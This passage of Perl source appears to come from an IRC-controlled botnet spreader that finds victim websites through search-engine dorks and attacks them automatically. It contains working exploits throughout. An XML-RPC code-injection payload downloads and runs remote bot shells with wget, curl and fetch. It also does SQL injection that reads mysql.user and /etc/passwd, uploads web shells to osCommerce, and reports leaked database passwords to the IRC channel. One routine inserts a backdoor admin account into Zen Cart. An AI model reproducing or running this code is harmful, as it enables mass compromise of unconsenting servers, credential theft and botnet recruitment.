- my @list = &search_engine($chan,$bug,$dork,$engine,$xmllogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$xmllogo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site.$bug;
- my $vuln = "http://".$site."3".$bug;
- my $html = &get_content($test);
- if ($html =~ /faultCode/ ) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my $resp = &xml_cek_query($test);
- if ($resp =~ /j13mb0t(.*)j13mb0t/s) {
- &xml_spread_query($test);sleep(2);
- my $sys = $1;
- my $check = &get_content("http://".$site."images.php");
- &get_content("http://".$site."bb.php");
- &get_content("http://".$site."asx.php");
- if ($check =~ /nxs/) {
- my $shell = "http://".$site."images.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &msg("$chan","$xmllogo(4@12$engine11,1)11,1(3@9SheLL11,1)13 http://".$site."7images.php 3".$sys);&get_content("http://". $site."bb.php"); sleep(2);}
- else {
- &msg("$chan","$xmllogo(4@12$engine11,1)11,1(4@9SysTem11,1)7 ".$vuln." 3".$sys); sleep(2);}
- }
- sleep(2); } exit; } }
- }
- }
- }
- sub xml_cek_query() {
- my $url = $_[0];
- my $code = "system('uname -a');";
- my $ua = LWP::UserAgent->new(agent => 'perl post');
- $exploit = "<?xml version=\"1.0\"?><methodCall>";
- $exploit .= "<methodName>test.method</methodName>";
- $exploit .= "<params><param><value><name>',''));";
- $exploit .= "echo'j13mb0t';".$code."echo'j13mb0t';exit;/*</name></value></param></params></methodCall>";
- $ua->timeout(7);
- my $res = $ua->request(POST $url, Content_Type => 'text/xml', Content => $exploit);
- return $res->content;
- }
- sub xml_spread_query() {
- my $xmltargt = $_[0];
- my $xmlsprd = "system('wget ".$injector." -O images.php;fetch ".$injector.";mv nxs.jpg images.php;wget ".$botshell." -O bb.php;fetch ".$botshell.";mv bb.jpg bb.php;wget ".$botshell2." -O asx.php;fetch ".$botshell2.";mv asx.jpg asx.php;killall -9 perl;killall -9 php;cd /tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bb.jpg;rm -rf bb.jpg;wget ".$botshell.";php bb.jpg;rm -rf bb.jpg;curl -O ".$botshell.";php bb.jpg;rm -rf bb.jpg;lwp-download ".$botshell.";php bb.jpg;fetch ". $botshell2.";php asx.jpg;rm -rf asx.jpg;wget ".$botshell2.";php asx.jpg;rm -rf asx.jpg;curl -O ".$botshell2.";php asx.jpg;rm -rf asx.jpg;lwp-download ". $botshell2.";php asx.jpg;cd /var/tmp;rm -rf dor.* *.jpg.*;fetch ".$botshell.";php bb.jpg;rm -rf bb.jpg;wget ".$botshell.";php bb.jpg;rm -rf bb.jpg;curl -O ". $botshell.";php bb.jpg;rm -rf bb.jpg;lwp-download ".$botshell.";php bb.jpg;fetch ".$botshell2.";php asx.jpg;rm -rf asx.jpg;wget ".$botshell2.";php asx.jpg;rm -rf asx.jpg;curl -O ".$botshell2.";php asx.jpg;rm -rf asx.jpg;lwp-download ".$botshell2.";php asx.jpg;');";
- my $userAgent = LWP::UserAgent->new(agent => 'perl post');
- $exploit = "<?xml version=\"1.0\"?><methodCall>";
- $exploit .= "<methodName>test.method</methodName>";
- $exploit .= "<params><param><value><name>',''));";
- $exploit .= "echo'j13m';".$xmlsprd."echo'b0T';exit;/*</name></value></param></params></methodCall>";
- $userAgent->timeout(7);
- $userAgent->request(POST $xmltargt, Content_Type => 'text/xml', Content => $exploit);
- }
- sub sql() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$sqllogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$sqllogo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site.$bug."'";
- my $vuln = "http://".$site."4".$bug;
- my $sqlsite = "http://".$site.$bug;
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ m/You have an error in your SQL syntax/i || $html =~ m/Query failed/i || $html =~ m/SQL query failed/i ) {
- &sqlbrute($sqlsite,$chan,$engine);}
- elsif ($html =~ m/ODBC SQL Server Driver/i || $html =~ m/Unclosed quotation mark/i || $html =~ m/Microsoft OLE DB Provider for/i ) {
- &msg("$chan","$sqllogo(4@12$engine11,1)11,1(4@9MsSQL11,1)3 ".$vuln);}
- elsif ($html =~ m/Microsoft JET Database/i || $html =~ m/ODBC Microsoft Access Driver/i || $html =~ m/Microsoft OLE DB Provider for Oracle/i ) {
- &msg("$chan","$sqllogo(4@12$engine11,1)11,1(4@9MsAccess11,1)3 ".$vuln);}
- elsif ($html =~ m/mysql_/i || $html =~ m/Division by zero in/i || $html =~ m/mysql_fetch_array/i ) {
- &sqlbrute($sqlsite,$chan,$engine);}
- } exit; sleep(2); }
- }
- }
- }
- sub sqlbrute() {
- my $situs=$_[0];
- my $chan =$_[1];
- my $engine=$_[2];
- my $columns=20;
- my $cfin.="--";
- my $cmn.= "+";
- for ($column = 0 ; $column < $columns ; $column ++)
- {
- $union.=','.$column;
- $inyection.=','."0x6c6f67696e70776e7a";
- if ($column == 0)
- {
- $inyection = '';
- $union = '';
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cfin;
- $response=get($sql);
- if($response =~ /loginpwnz/)
- {
- $column ++;
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cfin;
- &msg("$chan","$sqllogo(4@12$engine11,1)11,1(4@9SQL11,1)3 $sql ");
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."information_schema.tables".$cfin;
- $response=get($sql)or die("[-] Impossible to get Information_Schema\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."information_schema.tables".$cfin;
- &msg("$chan","$sqllogo(4@12$engine11,1)11,1(4@9SQL11,1)(4@3INFO_SCHEMA11,1)3 $sql ");
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn."mysql.user".$cfin;
- $response=get($sql)or die("[-] Impossible to get MySQL.User\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn."mysql.user".$cfin;
- &msg("$chan","$sqllogo(4@12$engine11,1)11,1(4@9SQL11,1)(4@3USER11,1)3 $sql ");
- }
- else
- {
- }
- while ($loadcont < $column-1)
- {
- $loadfile.=','.'load_file(0x2f6574632f706173737764)';
- $loadcont++;
- }
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."load_file(0x2f6574632f706173737764)".$loadfile.$cfin;
- $response=get($sql)or die("[-] Impossible to inject LOAD_FILE\n");
- if($response =~ /root:x:/)
- {
- &msg("$chan","$sqllogo(4@12$engine11,1)11,1(4@9SQL11,1)(4@3Load File11,1)3 $sql ");
- }
- else
- {
- }
- foreach $tabla(@tabele)
- {
- chomp($tabla);
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0x6c6f67696e70776e7a".$inyection.$cmn."from".$cmn.$tabla.$cfin;
- $response=get($sql)or die("[-] Impossible to get tables\n");
- if($response =~ /loginpwnz/)
- {
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."0".$union.$cmn."from".$cmn.$tabla.$cfin;
- &msg("$chan","$sqllogo(4@12$engine11,1)11,1(4@9SQL11,1)(4@3Tabel11,1)3 $sql ");
- &tabelka($situs,$tabla,$chan,$engine);
- }
- }
- }
- }
- }
- sub tabelka() {
- my $situs =$_[0];
- my $tabla =$_[1];
- my $chan =$_[2];
- my $engine=$_[3];
- my $cfin.="--";
- my $cmn.= "+";
- chomp($tabla);
- foreach $columna(@kolumny)
- {
- chomp($columna);
- $sql=$situs."-1".$cmn."union".$cmn."select".$cmn."concat(0x6c6f67696e70776e7a,0x3a,$columna)".$inyection.$cmn."from".$cmn.$tabla.$cfin;
- $response=get($sql)or die("[-] Impossible to get columns\n");
- if ($response =~ /loginpwnz/)
- {
- &msg("$chan","$sqllogo(4@12$engine11,1)11,1(4@9SQL11,1)(4@3SQLi Vuln11,1)9 $situs 14(4@3Kolom14)3 $columna 14(4@3Tabel14)3 $tabla ");
- }
- }
- }
- sub osco() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$oscologo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site.$bug;
- my $test1 = "http://".$site."admin/file_manager.php/login.php";
- my $test2 = "http://".$site."admin/banner_manager.php/login.php";
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ /TABLE_HEADING_CATEGORIES_PRODUCTS/ ) {
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9System11,1)7 ".$test);
- &osco_xpl($test,$chan,$site,$engine);
- &osco2($test1,$chan,$bug,$dork,$engine);
- &osco_xpl3($test2,$chan,$site,$engine);
- &osql($chan,$site,$engine);
- } else { }
- } exit; sleep(2); }
- }
- }
- }
- sub osco_xpl() {
- my $browser = LWP::UserAgent->new;
- my $url = $_[0]."?cPath=&action=new_product_preview";
- my $chan = $_[1];
- my $site = $_[2];
- my $engine = $_[3];
- my $res = $browser->post( $url,['products_image' => ['./ipays.jpg' => 'ipays.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resa = $browser->post( $url,['products_image' => ['./allnet.jpg' => 'botnet.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resb = $browser->post( $url,['products_image' => ['./byroe.jpg' => 'botnet2.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $hasil = $res->as_string;
- my $hasil1 = $resa->as_string;
- my $hasil2 = $resb->as_string;
- my $check = &get_content("http://".$site."images/ipays.php");&get_content("http://".$site."images/botnet2.php");&get_content("http://". $site."images/botnet.php");sleep(3);
- if ($check =~ /Rei Area/) {
- my $shell = "http://".$site."images/ipays.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- my $safe ="";
- my $os ="";
- if ($check =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check =~ m/color=#cccccc><b> (.*?)<br>/) {$os = $1;}
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 http://".$site."images/4ipays.php 9(4@11,1SafeMode= $safe9)(4@11,1OS= $os9)");sleep(2);
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."images/4botnet.php Botnet Bro !!!");sleep(2);
- &msg("$admin","$oscologo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 http://".$site."images/4ipays.php 9(4@11,1SafeMode= $safe9)(4@11,1OS= $os9)");sleep(2);
- &msg("$admin","$oscologo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."images/4botnet.php");sleep(2);
- }
- }
- sub osco2() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$oscologo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site.$bug;
- my $test1 = "http://".$site."admin/banner_manager.php/login.php";
- my $test2 = "http://".$site."admin/categories.php/login.php";
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ /TABLE_HEADING_FILENAME/) {
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9System11,1)7 ".$test);
- &osco_xpl2($test,$chan,$site,$engine);
- &osco_xpl3($test1,$chan,$site,$engine);
- &osco_xpl($test2,$chan,$site,$engine);
- &osql($chan,$site,$engine);
- } else { }
- } exit; sleep(2); }
- }
- }
- }
- sub osco_xpl2() {
- my $browser = LWP::UserAgent->new;
- my $url = $_[0]."?action=processuploads";
- my $chan = $_[1];
- my $site = $_[2];
- my $engine = $_[3];
- my $res = $browser->post( $url,['file_1' => ['./ipays.jpg' => 'ipays.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resa = $browser->post( $url,['file_1' => ['./allnet.jpg' => 'botnet.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resb = $browser->post( $url,['file_1' => ['./byroe.jpg' => 'botnet2.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $hasil = $res->as_string;
- my $hasil1 = $resa->as_string;
- my $hasil2 = $resb->as_string;
- my $check = &get_content("http://".$site."images/ipays.php");&get_content("http://".$site."images/botnet.php");&get_content("http://". $site."images/botnet2.php");sleep(3);
- if ($check =~ /Rei Area/) {
- my $shell = "http://".$site."images/ipays.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- my $safe ="";
- my $os ="";
- if ($check =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check =~ m/color=#cccccc><b> (.*?)<br>/) {$os = $1;}
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 http://".$site."images/4ipays.php 9(4@11,1SafeMode= $safe9)(4@11,1OS= $os9)");sleep(2);
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."images/4botnet.php Botnet Bro !!!");sleep(2);
- &msg("$admin","$oscologo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 http://".$site."images/4ipays.php 9(4@11,1SafeMode= $safe9)(4@11,1OS= $os9)");sleep(2);
- &msg("$admin","$oscologo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."images/4botnet.php");sleep(2);
- }
- }
- sub osco3() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$oscologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$oscologo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site.$bug;
- my $test1 = "http://".$site."admin/file_manager.php/login.php";
- my $test2 = "http://".$site."admin/categories.php/login.php";
- my $html = &get_content($test);
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- if ($html =~ /TABLE_HEADING_BANNERS/) {
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9System11,1)7 ".$test);
- &osco_xpl3($test,$chan,$site,$engine);
- &osco_xpl2($test1,$chan,$site,$engine);
- &osco_xpl($test2,$chan,$site,$engine);
- &osql($chan,$site,$engine);
- } else { }
- } exit; sleep(2); }
- }
- }
- }
- sub osco_xpl3() {
- my $browser = LWP::UserAgent->new;
- my $url = $_[0]."?action=insert";
- my $chan = $_[1];
- my $site = $_[2];
- my $engine = $_[3];
- my $res = $browser->post( $url,['banners_image' => ['./ipays.jpg' => 'ipays.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resa = $browser->post( $url,['banners_image' => ['./allnet.jpg' => 'botnet.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $resb = $browser->post( $url,['banners_image' => ['./byroe.jpg' => 'botnet2.php' => 'application/octet-stream']],'Content-Type' => 'form-data');
- my $hasil = $res->as_string;
- my $hasil1 = $resa->as_string;
- my $hasil2 = $resb->as_string;
- my $check = &get_content("http://".$site."images/ipays.php");&get_content("http://".$site."images/botnet.php");&get_content("http://". $site."images/botnet2.php");sleep(3);
- if ($check =~ /Rei Area/) {
- my $shell = "http://".$site."images/ipays.php";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- my $safe ="";
- my $os ="";
- if ($check =~ m/safe_mode: <b><font color=(.*?)>(.*?)<\/font><\/b>/) {$safe = $2;}
- if ($check =~ m/color=#cccccc><b> (.*?)<br>/) {$os = $1;}
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 http://".$site."images/4ipays.php 9(4@11,1SafeMode= $safe9)(4@11,1OS= $os9)");sleep(2);
- &msg("$chan","$oscologo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."images/4botnet.php Botnet Bro !!!");sleep(2);
- &msg("$admin","$oscologo(4@12$engine11,1)11,1(4@9SHeLL11,1)13 http://".$site."images/4ipays.php 9(4@11,1SafeMode= $safe9)(4@11,1OS= $os9)");sleep(2);
- &msg("$admin","$oscologo(4@12$engine11,1)11,1(4@9BotNEt11,1)13 http://".$site."images/4botnet.php");sleep(2);
- }
- }
- sub osql() {
- my $chan = $_[0];
- my $site = $_[1];
- my $engine = $_[2];
- my $test = "http://".$site."admin/file_manager.php/login.php?action=download&filename=/includes/configure.php";
- my $re = &get_content($test);
- if ($re =~ /http:\/\//){
- &osql_xpl($test,$chan,$site);
- }
- }
- sub osql_xpl() {
- my $url = $_[0];
- my $chan = $_[1];
- my $site = $_[2];
- my $request = HTTP::Request->new(GET=>$url);
- my $browser = LWP::UserAgent->new();
- $browser->timeout(10);
- my $response = $browser->request($request);
- if ($response->is_success) {
- my $res = $response->as_string;
- if ($res =~ m/'DIR_FS_CATALOG', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)9 http://".$site." 4[+]DIR path: $1");
- }
- if ($res =~ m/'DB_SERVER', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)9 http://".$site." 4[+]DB Server: $1");
- }
- if ($res =~ m/'DB_SERVER_USERNAME', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)9 http://".$site." 4[+]DB username: $1");
- }
- if ($res =~ m/'DB_SERVER_PASSWORD', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)9 http://".$site." 4[+]DB password: $1");
- }
- if ($res =~ m/'DB_DATABASE', '(.*)'/g) {
- &msg("$chan","$ossqllogo(4@3VULN)9 http://".$site." 4[+]DB database: $1");
- }
- }
- }
- sub oscoQ() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$ossqllogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$ossqllogo(4@3$engine11,1,1)10 Scan finish"); }
- my $test = "http://".$site."admin/file_manager.php/login.php?action=download&filename=/includes/configure.php";
- my $re = &get_content($test);
- if ($re =~ /http:\/\//){
- &osql_xpl($test,$chan,$site);
- }
- }
- }
- }
- sub esql() {
- my $chan = $_[0];
- my $site = $_[1];
- my $engine = $_[2];
- my $test = "http://".$site."e107_plugins/my_gallery/image.php?file=../../e107_config.php";
- my $re = &get_content($test);
- if ($re =~ /http:\/\//){
- &esql_xpl($test,$chan,$site);
- }
- }
- sub esql_xpl() {
- my $url = $_[0];
- my $chan = $_[1];
- my $site = $_[2];
- my $request = HTTP::Request->new(GET=>$url);
- my $browser = LWP::UserAgent->new();
- $browser->timeout(10);
- my $response = $browser->request($request);
- if ($response->is_success) {
- my $res = $response->as_string;
- if ($res =~ m/mySQLserver = '(.*)'/g) {
- &msg("$chan","$e107logosql (4@3VULN)9 http://".$site." 4[+]DB Server: 3 $1");
- }
- if ($res =~ m/mySQLuser = '(.*)'/g) {
- &msg("$chan","$e107logosql (4@3VULN)9 http://".$site." 4[+]DB username: 3 $1");
- }
- if ($res =~ m/mySQLpassword = '(.*)'/g) {
- &msg("$chan","$e107logosql (4@3VULN)9 http://".$site." 4[+]DB password: 3 $1");
- }
- if ($res =~ m/mySQLdefaultdb = '(.*)'/g) {
- &msg("$chan","$e107logosql (4@3VULN)9 http://".$site." 4[+]DB database: 3 $1");
- }
- }
- }
- sub se107Q() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$e107logosql);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$e107logosql(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site."e107_plugins/my_gallery/image.php?file=../../e107_config.php";
- my $re = &get_content($test);
- if ($re =~ /http:\/\//){
- &msg("$chan","$e107logosql(4@12$engine11,1)11,1(4@9System11,1)7 ".$test);
- &esql_xpl($test,$chan,$site);
- }
- }
- }
- }
- sub adm() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$admlogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$admlogo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site."phpMyAdmin/config/config.inc.php?c=id";
- my $vuln = "http://".$site."phpMyAdmin/config/config.inc.php?c=";
- my $re = &get_content($test);
- if ($re =~ /$adm_output/){
- &msg("$chan", "$admlogo(4@12$engine11,1)(4@3VulN11,1)3 ".$vuln."11,1(4@0OKE11,1)");
- }
- }
- }
- }
- sub op() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$oplogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$oplogo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site.$open_test;
- my $vuln = "http://".$site."admin/view/javascript/fckeditor/editor/filemanager/connectors/test.html";
- my $re = &get_content($test);
- if ($re =~ /$open_output/){
- &msg("$chan", "$oplogo(4@12$engine11,1)(4@3VulN11,1)3 ".$vuln."11,1(4@0UPLOAD11,1)");
- }
- }
- }
- }
- sub zen() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$zenlogo(4@12$engine11,1)10 Scan finish"); }
- my $test = "http://".$site."admin/sqlpatch.php/password_forgotten.php?action=execute";
- my $html = &get_content($test);
- if ($html =~ /zc_install/){
- &zen_query($chan,$site,$test);
- }
- }
- }
- }
- sub zen_query() {
- my $chan = $_[0];
- my $url = $_[1];
- my $test = $_[2];
- my $code = "INSERT INTO admin (admin_id, admin_name, admin_email, admin_pass) VALUES (313,'botnetCrew','danexscrew@yahoo.com','617ec22fbb8f201c366e9848c0eb6925:87');";
- my $req = HTTP::Request->new(POST => $test);
- $req->content_type("application/x-www-form-urlencoded");
- $req->content("query_string=".$code);
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(3);
- my $res = $ua->request($req);
- my $data = $res->as_string;
- if ( $data =~ /1 statements processed/i ) {
- my $shell = "http://".$url."4admin/login.php 11,1(4@9user11,1)0 botnetCrew 11,1(4@9pass11,1)0 wew";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &msg("$chan","$zenlogo(4@9VulN11,1)13 http://".$url."4admin/login.php 11,1(4@9user11,1)0 botnetCrew 11,1(4@9pass11,1)0 wew");
- }
- elsif ( $data =~ /Duplicate entry/ ) {
- my $shell = "http://".$url."4admin/login.php 11,1(4@9user11,1)0 botnetCrew 11,1(4@9pass11,1)0 wew";
- for my $t (@{$shell}) {
- push @{ $found }, $t;
- }
- &msg("$chan","$zenlogo(4@9SuCcEs11,1)13 http://".$url."3admin/login.php 11,1(4@9user11,1)4 botnetCrew 11,1(4@9pass11,1)4 wew87");
- &msg("$admin","$zenlogo(4@9SuCcEs11,1)13 http://".$url."3admin/login.php 11,1(4@9user11,1)4 botnetCrew 11,1(4@9pass11,1)4 wew87");
- }
- }
- #########################################
- sub search_engine() {
- my (@total,@clean);
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $logo = $_[4];
- if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
- if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
- if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
- if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
- if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
- if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
- if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
- if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
- if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
- if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
- if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
- if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
- if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
- if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
- if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
- if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
- if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
- if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
- if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
- if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
- if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
- if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
- if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
- if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
- if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
- if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
- if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
- if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
- if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
- if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
- if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
- if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
- if ($engine eq "DooGatE") { my @doogate = doogate($dork); push(@total,@doogate); }
- if ($engine eq "sogou") { my @sogou = &sogou($dork); push(@total,@sogou); }
- if ($engine eq "interia") { my @interia = &interia($dork); push(@total,@interia); }
- if ($engine eq "snz") { my @snz = &snz($dork); push(@total,@snz); }
- if ($engine eq "yandex") { my @yandex = &yandex($dork); push(@total,@yandex); }
- if ($engine eq "joeant") { my @joeant = &joeant($dork); push(@total,@joeant); }
- if ($engine eq "terra") { my @terra = &terra($dork); push(@total,@terra); }
- if ($engine eq "youdao") { my @youdao = &youdao($dork); push(@total,@youdao); }
- if ($engine eq "amfibi") { my @amfibi = &amfibi($dork); push(@total,@amfibi); }
- if ($engine eq "bigclique") { my @bigclique = &bigclique($dork); push(@total,@bigclique); }
- if ($engine eq "dancefloor") { my @dancefloor = &dancefloor($dork); push(@total,@dancefloor); }
- if ($engine eq "live") { my @live = &live($dork); push(@total,@live); }
- if ($engine eq "rakuten") { my @rakuten = &rakuten($dork); push(@total,@rakuten); }
- if ($engine eq "biglobe") { my @biglobe = &biglobe($dork); push(@total,@biglobe); }
- if ($engine eq "nova") { my @nova = &nova($dork); push(@total,@nova); }
- if ($engine eq "nadji") { my @nadji = &nadji($dork); push(@total,@nadji); }
- if ($engine eq "goo") { my @goo = &goo($dork); push(@total,@goo); }
- if ($engine eq "uksubmit") { my @uksubmit = &uksubmit($dork); push(@total,@uksubmit); }
- if ($engine eq "excite") { my @excite = &excite($dork); push(@total,@excite); }
- @clean = &clean(@total);
- # &msg("$chan","$logo(4@3$engine15)12 Total:0 (".scalar(@total).")4 Clean:0 (".scalar(@clean).")");
- return @clean;
- }
- #########################################
- sub isFound() {
- my $status = 0;
- my $link = $_[0];
- my $reqexp = $_[1];
- my $res = &get_content($link);
- if ($res =~ /$reqexp/) { $status = 1 }
- return $status;
- }
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(7);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- ######################################### SEARCH ENGINE gibla
- sub google() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=200; $i+=10){
- my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
